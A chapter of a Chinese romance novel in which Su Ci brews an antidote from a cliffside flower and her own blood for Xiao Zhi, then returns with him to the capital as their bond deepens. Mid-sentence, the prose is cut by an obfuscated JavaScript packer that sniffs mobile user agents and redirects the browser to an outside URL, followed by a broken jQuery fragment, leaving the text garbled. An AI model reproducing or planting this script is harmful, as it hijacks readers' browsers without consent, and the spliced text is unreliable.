次日,晨曦初露,天色微明。林间尚浮动着白雾,雾中带着早秋的寒意,山风掠过时更是直直往骨缝里钻。
苏瓷瞄了眼前方那身体病弱仍坚持要来的人,她的神色复杂,昨晚睡前的那番话至今都还在脑中回荡。
“想要离开可以,但得帮我炼毒瓷之后才行。”
苏瓷不解:“这毒瓷,要给谁用?”
萧执沉默了许久,“宁王。”
他竟然也要杀宁王!
苏瓷和宁王之间隔着满门血命,可他萧执是宁王的亲生儿子啊,
他俩之间究竟发生过什么,萧执竟想杀了自己父亲。
苏瓷闻言满心震撼,但是萧执显然不想多说,她也就没再开口。
苏瓷想到此处又抬眸看了眼萧执。
忽然,他似有所察觉,蓦地回头看来。
两人的视线相交,径直撞进对方的眼眸中。
片刻,萧执率先张了张口:“过来。”
他伸手握住苏瓷的手,指着前面悬崖峭壁上的一株花草,问道:“那便是无叶花?”
苏瓷顺着他手指的方向仰望,山崖的裂缝里,有一株血红的花斜斜地刺破白雾,它的根茎上没有叶片,唯有顶端的花瓣迎风生长。
“对,那就是无叶花。”苏瓷点头,“不过采摘前须先收集它花蕊上的露水,这两者缺一不可。”
萧执招手示意平元他们三人上去采集。
崖壁上的缝隙里长满了无叶花,攀在峭壁上,还要先收集露水再采其花,
这对旁人来说许是难以完成的事情。但对于平元他们,却是易如反掌。
不出半晌,他们三就采摘完毕。
无叶花一旦离开生长土壤,须得尽快将其处理制药,否则便会失效。
来之前苏瓷就已经将工具备好了,以便回程的路上,她在马车车厢里就能处理无叶花。
苏瓷先用药碾子将无叶花根茎碾碎,再把碎根和花瓣放入药臼中,将其彻底捣碎,期间又加入几滴收集的露水。
一株无叶花处理后,连绿豆大小都没有。若想制成一颗药丸,这当中需要数朵无叶花。倘若只苏瓷处理,天黑都弄不完。
于是,小满和云燕便接过前面的工序,由苏瓷把控完成最后一步。
苏瓷盯着药臼里碎材,等到一定程度时,她解开左手缠绕的白绷带,咬破指腹,伸在药臼上方,往里添加了数滴她的血。
而后她将这些碎材捣成泥,混合成三颗药丸。
苏瓷用草纸包起药丸,放在萧执的手掌上,对他说道:“一日三颗,连续服用七日,体内的噬瓷蛊粉即可彻底清除。”
从苏瓷处理无叶花开始,萧执的视线就一直落在她身上。他没有先吃解药,而是抓握住苏瓷的左手腕,为她包扎手指上的伤口。
他垂眸抿唇,蓦然问了一句:“每次都得放血?”
苏瓷眨了眨眼,“嗯”了一声,抽回手催促他道:“快吃吧,过了时辰药效就没用了。”
一连七日,萧执能明显感觉到自己的身体一日比一日轻快。伴随在骨髓里的那股噬痛感,在第七日也彻底被拔除。
从幼时起就日夜折磨着他的病症,如今终于解开,萧执却未如想象中愉悦欣喜。
毒已解,马上又得启程回京了。
在临行前夜,萧执半支起身体,看着睡在他旁边的苏瓷,静静地凝视了许久。
然后伸出手将她揽入怀中。
……
有苏瓷所做的瓷扇,回去的路途自然是选择水路。虽然水路缩减了大半路程,但仓州与京城的距离仍摆在那里。
紧赶慢赶的,他们一行人踩在晚秋时节回到了京城王府。
此行数月,再次站在这座王府宅院中,苏瓷的心情竟和当初相比有了几分不同。
按理说噬瓷蛊粉已解,萧执便不需要再和她同寝。
但回程途中,萧执没讲她也莫名没提及此事,两人就这么和未解毒之前一样,继续同寝而眠。
甚至有几次睁眼醒来,苏瓷发现自己竟然窝在萧执怀里。萧执对此倒是接受良好,拍拍她的后背,嘴里呢喃道:“再陪我睡会儿。”
可现下……
苏瓷望着小满她们搬着她的行李就要往萧执房里放,苏瓷嘴唇阖张,欲想喊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050952|179036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住她们。
萧执先行说道:“等等。”
苏瓷扭头看他,萧执抬手拨了一下半露在外的瓷瓶,等重新塞好才继续道:“下次注意。”
小满羞愧地点点头,然后拉着云燕连忙进屋整理。
等用完晚膳、沐浴过后,萧执屏退下人,侧坐在床铺上。
苏瓷见状立刻明白了他的意思,到她帮他涂药的时辰了。
她取来一罐药膏,萧执已经将里衣褪至腰间,白皙的背脊上一片淡青淤痕,其中某些地方还结着痂皮。
说起来,萧执这背上的伤还是在灵安寺为了护她,垫在她身下才受伤的。
苏瓷指尖蘸了药膏,轻轻点在萧执的背脊伤痕上。伤痂已有几日,现呈深褐色,边缘还稍微有点翘起。
青绿色的药膏涂抹在其边缘,苏瓷的指腹绕着伤口打圈,把药膏抹开均匀。
许是有些痒,她能感觉到手指下的背肌瞬间紧绷。
“再过几日估计就能彻底好全了。”苏瓷观察着伤痕说道。
殊不知,离得有些近,她开口说话时,呼出的热气全洒在萧执的背脊上。
萧执强忍着肩胛骨的颤意,忽地反手抓住苏瓷的手腕,声音略微嘶哑地“嗯”了一声。
他偏头看向苏瓷,眸光暗沉涌动,笑了笑说道:“后面就由平元来上药吧,不然我怕几日还是好不了。”
“随你。”她嘴上硬邦邦地回了一句,心跳却漏了一拍。
这个男人,总有本事用最轻描淡写的语气,说出最令人心慌意乱的话。
萧执低低地笑了一声,慢条斯理地将里衣拉好,遮住了那片引人遐思的风景。
苏瓷窘迫地转过身,收拾着药膏,不敢再看他。
她能感觉到那道目光依旧落在自己身上,带着探究和一丝她看不懂的复杂情绪。
两个人明明是交易,是各取所需。他要她炼毒瓷,她要借他之手报仇。
可不知从什么时候起,这份纯粹的合作关系,似乎掺杂了太多说不清道不明的东西。
就像现在,同处一室,呼吸交缠,气氛暧昧得让她无所适从。